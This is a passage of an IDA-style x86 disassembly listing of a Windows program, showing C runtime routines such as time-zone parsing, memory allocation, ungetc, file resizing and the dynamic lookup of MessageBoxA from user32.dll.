sub_42086E+35j xor eax, eax loc_4208B0: ; CODE XREF: sub_42086E+3Ej pop esi retn 4 sub_42086E endp ; --------------------------------------------------------------------------- dword_4208B4 dd 42086E68h, 0DAE89000h, 0A3021906h, 48A218h, 1835FFC3h ; DATA XREF: ___:00426024o dd 0E80048A2h, 21906C9h db 90h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_4208D2 proc near ; CODE XREF: sub_41CD45+6Bp ; sub_41D256+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 25B0B90h test eax, eax jz short loc_4208EA xor esi, esi loc_4208EA: ; CODE XREF: sub_4208D2+14j mov eax, esi pop esi retn sub_4208D2 endp ; =============== S U B R O U T I N E ======================================= sub_4208EE proc near ; CODE XREF: sub_41D256+73p ; sub_41D256+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 28308ACh test eax, eax jz short loc_420906 xor esi, esi loc_420906: ; CODE XREF: sub_4208EE+14j mov eax, esi pop esi retn sub_4208EE endp ; =============== S U B R O U T I N E ======================================= sub_42090A proc near ; CODE XREF: sub_41D256+15Bp ; sub_42086E+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 25B0B33h test eax, eax jz short loc_42091E xor esi, esi loc_42091E: ; CODE XREF: sub_42090A+10j mov eax, esi pop esi retn sub_42090A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D4FC loc_420922: ; CODE XREF: sub_41D4FC:loc_41D54Dj push 0Ah call sub_41F885 push 16h call sub_421C3C pop ecx pop ecx push 3 call sub_419AF6 ; END OF FUNCTION CHUNK FOR sub_41D4FC ; =============== S U B R O U T I N E ======================================= sub_420939 proc near ; CODE XREF: sub_41D609:loc_41D648p cmp dword_48A2D8, 0 jnz short locret_42094D call sub_42094E inc dword_48A2D8 locret_42094D: ; CODE XREF: sub_420939+7j retn sub_420939 endp ; =============== S U B R O U T I N E ======================================= sub_42094E proc near ; CODE XREF: sub_420939+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_48A220, ebp mov dword_43C018, ebx mov dword_43C008, ebx call sub_421DAE mov esi, eax pop ecx cmp esi, ebp jnz loc_420A77 push offset dword_48A228 nop call near ptr 27E0000h cmp eax, ebx jz loc_420BA6 mov eax, dword_48A228 mov ecx, dword_48A27C imul eax, 3Ch cmp word_48A26E, bp push 1 pop edx mov dword_43BF70, eax mov dword_48A220, edx jz short loc_4209C5 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43BF70, eax loc_4209C5: ; CODE XREF: sub_42094E+69j cmp word_48A2C2, bp jz short loc_4209E9 mov eax, dword_48A2D0 cmp eax, ebp jz short loc_4209E9 sub eax, ecx mov dword_43BF74, edx imul eax, 3Ch mov dword_43BF78, eax jmp short loc_4209F5 ; --------------------------------------------------------------------------- loc_4209E9: ; CODE XREF: sub_42094E+7Ej ; sub_42094E+87j mov dword_43BF74, ebp mov dword_43BF78, ebp loc_4209F5: ; CODE XREF: sub_42094E+99j lea eax, [esp+14h+var_4] mov esi, dword_424150 push eax push ebp push 3Fh mov edi, 220h push off_43BFFC push ebx push offset dword_48A22C push edi push dword_48A0B8 call esi test eax, eax jz short loc_420A32 cmp [esp+14h+var_4], ebp jnz short loc_420A32 mov eax, off_43BFFC and byte ptr [eax+3Fh], 0 jmp short loc_420A3A ; --------------------------------------------------------------------------- loc_420A32: ; CODE XREF: sub_42094E+D1j ; sub_42094E+D7j mov eax, off_43BFFC and byte ptr [eax], 0 loc_420A3A: ; CODE XREF: sub_42094E+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43C000 push ebx push offset dword_48A280 push edi push dword_48A0B8 call esi test eax, eax jz loc_420B9E cmp [esp+14h+var_4], ebp jnz loc_420B9E mov eax, off_43C000 and byte ptr [eax+3Fh], 0 jmp loc_420BA6 ; --------------------------------------------------------------------------- loc_420A77: ; CODE XREF: sub_42094E+2Dj cmp byte ptr [esi], 0 jz loc_420BA6 mov eax, dword_48A2D4 cmp eax, ebp jz short loc_420A9A push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_420BA6 loc_420A9A: ; CODE XREF: sub_42094E+139j push dword_48A2D4 call sub_417C3B push esi call sub_417AB0 inc eax push eax call sub_417B89 add esp, 0Ch cmp eax, ebp mov dword_48A2D4, eax jz loc_420BA6 push esi push eax call sub_4179C0 push 3 push esi push off_43BFFC call sub_418C10 mov eax, off_43BFFC add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_420AEF push 1 inc esi pop edi loc_420AEF: ; CODE XREF: sub_42094E+19Bj push esi call sub_417794 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43BF70, ecx loc_420B06: ; CODE XREF: sub_42094E+1C7j mov al, [esi] cmp al, 2Bh jz short loc_420B14 cmp al, bl jl short loc_420B17 cmp al, 39h jg short loc_420B17 loc_420B14: ; CODE XREF: sub_42094E+1BCj inc esi jmp short loc_420B06 ; --------------------------------------------------------------------------- loc_420B17: ; CODE XREF: sub_42094E+1C0j ; sub_42094E+1C4j cmp byte ptr [esi], 3Ah jnz short loc_420B6A inc esi push esi call sub_417794 imul eax, 3Ch pop ecx mov ecx, dword_43BF70 add ecx, eax mov dword_43BF70, ecx loc_420B35: ; CODE XREF: sub_42094E+1F2j mov al, [esi] cmp al, bl jl short loc_420B42 cmp al, 39h jg short loc_420B42 inc esi jmp short loc_420B35 ; --------------------------------------------------------------------------- loc_420B42: ; CODE XREF: sub_42094E+1EBj ; sub_42094E+1EFj cmp byte ptr [esi], 3Ah jnz short loc_420B6A inc esi push esi call sub_417794 pop ecx mov ecx, dword_43BF70 add ecx, eax mov dword_43BF70, ecx loc_420B5D: ; CODE XREF: sub_42094E+21Aj mov al, [esi] cmp al, bl jl short loc_420B6A cmp al, 39h jg short loc_420B6A inc esi jmp short loc_420B5D ; --------------------------------------------------------------------------- loc_420B6A: ; CODE XREF: sub_42094E+1CCj ; sub_42094E+1F7j ... cmp edi, ebp jz short loc_420B76 neg ecx mov dword_43BF70, ecx loc_420B76: ; CODE XREF: sub_42094E+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43BF74, eax jz short loc_420B9E push 3 push esi push off_43C000 call sub_418C10 mov eax, off_43C000 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_420BA6 ; --------------------------------------------------------------------------- loc_420B9E: ; CODE XREF: sub_42094E+10Bj ; sub_42094E+115j ... mov eax, off_43C000 and byte ptr [eax], 0 loc_420BA6: ; CODE XREF: sub_42094E+40j ; sub_42094E+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_42094E endp ; =============== S U B R O U T I N E ======================================= sub_420BAC proc near ; CODE XREF: sub_41D609+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43BF74, edi jnz short loc_420BC0 loc_420BB9: ; CODE XREF: sub_420BAC+148j ; sub_420BAC+150j ... xor eax, eax jmp loc_420D0C ; --------------------------------------------------------------------------- loc_420BC0: ; CODE XREF: sub_420BAC+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43C008 jnz short loc_420BDE cmp eax, dword_43C018 jz loc_420CE0 loc_420BDE: ; CODE XREF: sub_420BAC+24j cmp dword_48A220, edi jz loc_420CB6 movzx ecx, word_48A2CE push ecx cmp word_48A2C0, di movzx ecx, word_48A2CC push ecx movzx ecx, word_48A2CA push ecx movzx ecx, word_48A2C8 push ecx jnz short loc_420C30 movzx ecx, word_48A2C4 push edi push ecx movzx ecx, word_48A2C6 push ecx movzx ecx, word_48A2C2 push ecx push eax push ebx jmp short loc_420C44 ; --------------------------------------------------------------------------- loc_420C30: ; CODE XREF: sub_420BAC+65j movzx ecx, word_48A2C6 push ecx push edi movzx ecx, word_48A2C2 push edi push ecx push eax push edi loc_420C44: ; CODE XREF: sub_420BAC+82j push ebx call sub_420D58 movzx eax, word_48A27A add esp, 2Ch cmp word_48A26C, di push eax movzx eax, word_48A278 push eax movzx eax, word_48A276 push eax movzx eax, word_48A274 push eax jnz short loc_420C9E movzx eax, word_48A270 push edi push eax movzx eax, word_48A272 push eax movzx eax, word_48A26E push eax push dword ptr [esi+14h] push ebx loc_420C93: ; CODE XREF: sub_420BAC+108j push edi call sub_420D58 add esp, 2Ch jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420C9E: ; CODE XREF: sub_420BAC+C8j movzx eax, word_48A272 push eax push edi movzx eax, word_48A26E push edi push eax push dword ptr [esi+14h] push edi jmp short loc_420C93 ; --------------------------------------------------------------------------- loc_420CB6: ; CODE XREF: sub_420BAC+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_420D58 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_420D58 add esp, 58h loc_420CE0: ; CODE XREF: sub_420BAC+2Cj ; sub_420BAC+F0j mov edx, dword_43C00C mov eax, dword_43C01C mov ecx, [esi+1Ch] cmp edx, eax jge short loc_420D10 cmp ecx, edx jl loc_420BB9 cmp ecx, eax jg loc_420BB9 cmp ecx, edx jle short loc_420D24 cmp ecx, eax jge short loc_420D24 loc_420D0A: ; CODE XREF: sub_420BAC+166j ; sub_420BAC+16Aj mov eax, ebx loc_420D0C: ; CODE XREF: sub_420BAC+Fj ; sub_420BAC+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_420D10: ; CODE XREF: sub_420BAC+144j cmp ecx, eax jl short loc_420D0A cmp ecx, edx jg short loc_420D0A cmp ecx, eax jle short loc_420D24 cmp ecx, edx jl loc_420BB9 loc_420D24: ; CODE XREF: sub_420BAC+158j ; sub_420BAC+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_420D4B xor ecx, ecx cmp eax, dword_43C010 setnl cl loc_420D47: ; CODE XREF: sub_420BAC+1AAj mov eax, ecx jmp short loc_420D0C ; --------------------------------------------------------------------------- loc_420D4B: ; CODE XREF: sub_420BAC+18Ej xor ecx, ecx cmp eax, dword_43C020 setl cl jmp short loc_420D47 sub_420BAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D58 proc near ; CODE XREF: sub_420BAC+99p ; sub_420BAC+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_420DF3 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_420D83 shl esi, 2 mov eax, dword_43C020[esi] jmp short loc_420D8C ; --------------------------------------------------------------------------- loc_420D83: ; CODE XREF: sub_420D58+1Ej shl esi, 2 mov eax, dword_43C054[esi] loc_420D8C: ; CODE XREF: sub_420D58+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_420DC6 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_420DD0 ; --------------------------------------------------------------------------- loc_420DC6: ; CODE XREF: sub_420D58+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_420DD0: ; CODE XREF: sub_420D58+6Cj cmp [ebp+arg_10], 5 jnz short loc_420E0E cmp [ebp+arg_8], 0 jnz short loc_420DE4 mov esi, dword_43C024[esi] jmp short loc_420DEA ; --------------------------------------------------------------------------- loc_420DE4: ; CODE XREF: sub_420D58+82j mov esi, dword_43C058[esi] loc_420DEA: ; CODE XREF: sub_420D58+8Aj cmp ecx, esi jle short loc_420E0E sub ecx, 7 jmp short loc_420E0E ; --------------------------------------------------------------------------- loc_420DF3: ; CODE XREF: sub_420D58+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_420E04 mov ecx, dword_43C020[eax*4] jmp short loc_420E0B ; --------------------------------------------------------------------------- loc_420E04: ; CODE XREF: sub_420D58+A1j mov ecx, dword_43C054[eax*4] loc_420E0B: ; CODE XREF: sub_420D58+AAj add ecx, [ebp+arg_18] loc_420E0E: ; CODE XREF: sub_420D58+7Cj ; sub_420D58+94j ... cmp [ebp+arg_0], 1 jnz short loc_420E3F mov eax, [ebp+arg_1C] mov dword_43C00C, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43C008, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43C010, eax jmp short loc_420E94 ; --------------------------------------------------------------------------- loc_420E3F: ; CODE XREF: sub_420D58+BAj mov eax, [ebp+arg_1C] mov dword_43C01C, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43BF78 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43C020, eax jns short loc_420E77 add eax, 5265C00h dec ecx mov dword_43C020, eax jmp short loc_420E88 ; --------------------------------------------------------------------------- loc_420E77: ; CODE XREF: sub_420D58+110j mov edx, 5265C00h cmp eax, edx jl short loc_420E8E sub eax, edx inc ecx mov dword_43C020, eax loc_420E88: ; CODE XREF: sub_420D58+11Dj mov dword_43C01C, ecx loc_420E8E: ; CODE XREF: sub_420D58+126j mov dword_43C018, ebx loc_420E94: ; CODE XREF: sub_420D58+E5j pop esi pop ebx pop ebp retn sub_420D58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420E98 proc near ; CODE XREF: sub_41D797+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_420EBB cmp [ebp+arg_8], ebx jz short loc_420EBB mov al, [esi] cmp al, bl jnz short loc_420EC1 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_420EBB mov [eax], bx loc_420EBB: ; CODE XREF: sub_420E98+Cj ; sub_420E98+11j ... xor eax, eax loc_420EBD: ; CODE XREF: sub_420E98+42j ; sub_420E98+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_420EC1: ; CODE XREF: sub_420E98+17j cmp dword_48A0A8, ebx jnz short loc_420EDC mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_420ED7 movzx ax, al mov [ecx], ax loc_420ED7: ; CODE XREF: sub_420E98+36j ; sub_420E98+C0j push 1 pop eax jmp short loc_420EBD ; --------------------------------------------------------------------------- loc_420EDC: ; CODE XREF: sub_420E98+2Fj mov ecx, off_4395A0 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420F39 mov eax, dword_4397AC cmp eax, 1 jle short loc_420F20 cmp [ebp+arg_8], eax jl short loc_420F2A xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_48A0B8 nop call near ptr 2620000h test eax, eax mov eax, dword_4397AC jnz short loc_420EBD loc_420F20: ; CODE XREF: sub_420E98+5Cj cmp [ebp+arg_8], eax jb short loc_420F2A cmp [esi+1], bl jnz short loc_420EBD loc_420F2A: ; CODE XREF: sub_420E98+61j ; sub_420E98+8Bj ... mov dword_48A014, 2Ah or eax, 0FFFFFFFFh jmp short loc_420EBD ; --------------------------------------------------------------------------- loc_420F39: ; CODE XREF: sub_420E98+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_48A0B8 nop call near ptr 2620000h test eax, eax jnz loc_420ED7 jmp short loc_420F2A sub_420E98 endp ; =============== S U B R O U T I N E ======================================= sub_420F60 proc near ; CODE XREF: sub_41D797+76p ; sub_41D797+88p ... arg_0 = dword ptr 4 cmp dword_4397AC, 1 jle short loc_420F77 push 8 push [esp+4+arg_0] call sub_41A642 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_420F77: ; CODE XREF: sub_420F60+7j mov eax, [esp+arg_0] mov ecx, off_4395A0 mov al, [ecx+eax*2] and eax, 8 retn sub_420F60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_420F90 proc near ; CODE XREF: sub_41D797+797p ; sub_41D797+7E7p cmp cl, 40h jnb short loc_420FAA cmp cl, 20h jnb short loc_420FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_420FA0: ; CODE XREF: sub_420F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_420FAA: ; CODE XREF: sub_420F90+3j xor eax, eax xor edx, edx retn sub_420F90 endp ; =============== S U B R O U T I N E ======================================= sub_420FAF proc near ; CODE XREF: sub_41E20D+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_420FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_420FCD test al, 80h jz short loc_420FFB test al, 2 jnz short loc_420FFB loc_420FCD: ; CODE XREF: sub_420FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_420FDA push esi call sub_41F9D8 pop ecx loc_420FDA: ; CODE XREF: sub_420FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_420FEA cmp dword ptr [esi+4], 0 jnz short loc_420FFB inc eax mov [esi], eax loc_420FEA: ; CODE XREF: sub_420FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_421001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_421007 inc eax mov [esi], eax loc_420FFB: ; CODE XREF: sub_420FAF+9j ; sub_420FAF+18j ... or eax, 0FFFFFFFFh loc_420FFE: ; CODE XREF: sub_420FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_421001: ; CODE XREF: sub_420FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_421007: ; CODE XREF: sub_420FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_420FFE sub_420FAF endp ; =============== S U B R O U T I N E ======================================= sub_42101D proc near ; CODE XREF: sub_41F12F+2Bp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_42102E add esp, 0Ch retn sub_42101D endp ; =============== S U B R O U T I N E ======================================= sub_42102E proc near ; CODE XREF: sub_42101D+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_48B561[eax], cl jnz short loc_42105B cmp [esp+arg_4], 0 jz short loc_421054 movzx eax, word_4395AA[eax*2] and eax, [esp+arg_4] jmp short loc_421056 ; --------------------------------------------------------------------------- loc_421054: ; CODE XREF: sub_42102E+16j xor eax, eax loc_421056: ; CODE XREF: sub_42102E+24j test eax, eax jnz short loc_42105B retn ; --------------------------------------------------------------------------- loc_42105B: ; CODE XREF: sub_42102E+Fj ; sub_42102E+2Aj push 1 pop eax retn sub_42102E endp ; =============== S U B R O U T I N E ======================================= sub_42105F proc near ; CODE XREF: sub_41F885+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_48A2DC, ebx push esi push edi jnz short loc_4210AE push offset aUser32_dll ; "user32.dll" call near ptr 26E0000h nop mov edi, eax cmp edi, ebx jz short loc_4210E4 mov esi, dword_4240DC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_48A2DC, eax jz short loc_4210E4 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_48A2E0, eax call esi mov dword_48A2E4, eax loc_4210AE: ; CODE XREF: sub_42105F+Bj mov eax, dword_48A2E0 test eax, eax jz short loc_4210CD call eax mov ebx, eax test ebx, ebx jz short loc_4210CD mov eax, dword_48A2E4 test eax, eax jz short loc_4210CD push ebx call eax mov ebx, eax loc_4210CD: ; CODE XREF: sub_42105F+56j ; sub_42105F+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_48A2DC loc_4210E0: ; CODE XREF: sub_42105F+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4210E4: ; CODE XREF: sub_42105F+1Cj ; sub_42105F+33j xor eax, eax jmp short loc_4210E0 sub_42105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210E8 proc near ; CODE XREF: sub_41FA42+22p ; sub_41FA42+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_421109 test esi, esi jnz short loc_421103 push 1 pop esi loc_421103: ; CODE XREF: sub_4210E8+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_421109: ; CODE XREF: sub_4210E8+12j ; sub_4210E8+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_421168 mov eax, dword_48B688 cmp eax, 3 jnz short loc_421134 mov eax, [ebp+arg_0] cmp eax, dword_48B680 ja short loc_421153 push eax call sub_41B0DD mov edi, eax pop ecx test edi, edi jnz short loc_42117E jmp short loc_421153 ; --------------------------------------------------------------------------- loc_421134: ; CODE XREF: sub_4210E8+30j cmp eax, 2 jnz short loc_421153 cmp esi, dword_43B7E4 ja short loc_421153 mov eax, esi shr eax, 4 push eax call sub_41BB80 mov edi, eax pop ecx test edi, edi jnz short loc_421192 loc_421153: ; CODE XREF: sub_4210E8+3Bj ; sub_4210E8+4Aj ... push esi push 8 push dword_48B684 nop call near ptr 26F0000h mov edi, eax test edi, edi jnz short loc_42118C loc_421168: ; CODE XREF: sub_4210E8+26j cmp dword_48A074, 0 jz short loc_42118C push esi call sub_41AB54 test eax, eax pop ecx jz short loc_421195 jmp short loc_421109 ; --------------------------------------------------------------------------- loc_42117E: ; CODE XREF: sub_4210E8+48j push [ebp+arg_0] loc_421181: ; CODE XREF: sub_4210E8+ABj push 0 push edi call sub_417330 add esp, 0Ch loc_42118C: ; CODE XREF: sub_4210E8+7Ej ; sub_4210E8+87j mov eax, edi loc_42118E: ; CODE XREF: sub_4210E8+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_421192: ; CODE XREF: sub_4210E8+69j push esi jmp short loc_421181 ; --------------------------------------------------------------------------- loc_421195: ; CODE XREF: sub_4210E8+92j xor eax, eax jmp short loc_42118E sub_4210E8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41FAE7 loc_421199: ; CODE XREF: sub_41FAE7+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_48B320, esi jle short loc_4211EC loc_4211A8: ; CODE XREF: sub_41FAE7+1703j mov eax, dword_48A310 mov eax, [eax+esi*4] test eax, eax jz short loc_4211E3 test byte ptr [eax+0Ch], 83h jz short loc_4211C7 push eax call sub_417900 cmp eax, 0FFFFFFFFh pop ecx jz short loc_4211C7 inc edi loc_4211C7: ; CODE XREF: sub_41FAE7+16D1j ; sub_41FAE7+16DDj cmp esi, 14h jl short loc_4211E3 mov eax, dword_48A310 push dword ptr [eax+esi*4] call sub_417C3B mov eax, dword_48A310 pop ecx and dword ptr [eax+esi*4], 0 loc_4211E3: ; CODE XREF: sub_41FAE7+16CBj ; sub_41FAE7+16E3j inc esi cmp esi, dword_48B320 jl short loc_4211A8 loc_4211EC: ; CODE XREF: sub_41FAE7+16BFj mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_41FAE7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4211F1 proc near ; CODE XREF: sub_41FEC6+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_417B30 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_48B440 jnb loc_421326 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_48B340[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_421326 push 1 push esi push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_421330 push 2 push esi push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_421330 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_4212D3 push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_417330 push 8000h push ebx call sub_421E2B add esp, 14h mov [ebp+arg_4], eax loc_421287: ; CODE XREF: sub_4211F1+BDj mov eax, 1000h cmp edi, eax jge short loc_421292 mov eax, edi loc_421292: ; CODE XREF: sub_4211F1+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_41ED97 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_4212B0 sub edi, eax test edi, edi jle short loc_4212C6 jmp short loc_421287 ; --------------------------------------------------------------------------- loc_4212B0: ; CODE XREF: sub_4211F1+B5j cmp dword_48A018, 5 jnz short loc_4212C3 mov dword_48A014, 0Dh loc_4212C3: ; CODE XREF: sub_4211F1+C6j or esi, 0FFFFFFFFh loc_4212C6: ; CODE XREF: sub_4211F1+BBj push [ebp+arg_4] push ebx call sub_421E2B pop ecx pop ecx jmp short loc_421313 ; --------------------------------------------------------------------------- loc_4212D3: ; CODE XREF: sub_4211F1+71j jge short loc_421313 push 0 push [ebp+arg_4] push ebx call sub_41E517 push ebx call sub_41FE32 add esp, 10h push eax nop call near ptr 25B0000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_421313 mov dword_48A014, 0Dh call near ptr 26402CBh nop mov dword_48A018, eax loc_421313: ; CODE XREF: sub_4211F1+E0j ; sub_4211F1:loc_4212D3j ... push 0 push [ebp+arg_0] push ebx call sub_41E517 add esp, 0Ch mov eax, esi pop edi jmp short loc_421333 ; --------------------------------------------------------------------------- loc_421326: ; CODE XREF: sub_4211F1+1Aj ; sub_4211F1+36j mov dword_48A014, 9 loc_421330: ; CODE XREF: sub_4211F1+4Ej ; sub_4211F1+63j or eax, 0FFFFFFFFh loc_421333: ; CODE XREF: sub_4211F1+133j pop esi pop ebx leave retn sub_4211F1 endp ; =============== S U B R O U T I N E ======================================= sub_421337 proc near ; CODE XREF: sub_420331+2Bp ; sub_420331+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_42134D cmp ecx, esi jnb short loc_421350 loc_42134D: ; CODE XREF: sub_421337+10j push 1 pop eax loc_421350: ; CODE XREF: sub_421337+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_421337 endp ; =============== S U B R O U T I N E ======================================= sub_421358 proc near ; CODE XREF: sub_421411+40p ; sub_421411+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_421337 add esp, 0Ch test eax, eax jz short loc_42138A lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_421337 add esp, 0Ch test eax, eax jz short loc_42138A inc dword ptr [esi+8] loc_42138A: ; CODE XREF: sub_421358+19j ; sub_421358+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_421337 add esp, 0Ch test eax, eax jz short loc_4213A2 inc dword ptr [esi+8] loc_4213A2: ; CODE XREF: sub_421358+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_421337 add esp, 0Ch pop edi pop esi retn sub_421358 endp ; =============== S U B R O U T I N E ======================================= sub_4213B6 proc near ; CODE XREF: sub_421411+30p ; sub_421411+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4213B6 endp ; =============== S U B R O U T I N E ======================================= sub_4213E4 proc near ; CODE XREF: sub_4219A9+1C8p ; sub_421EA1+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov 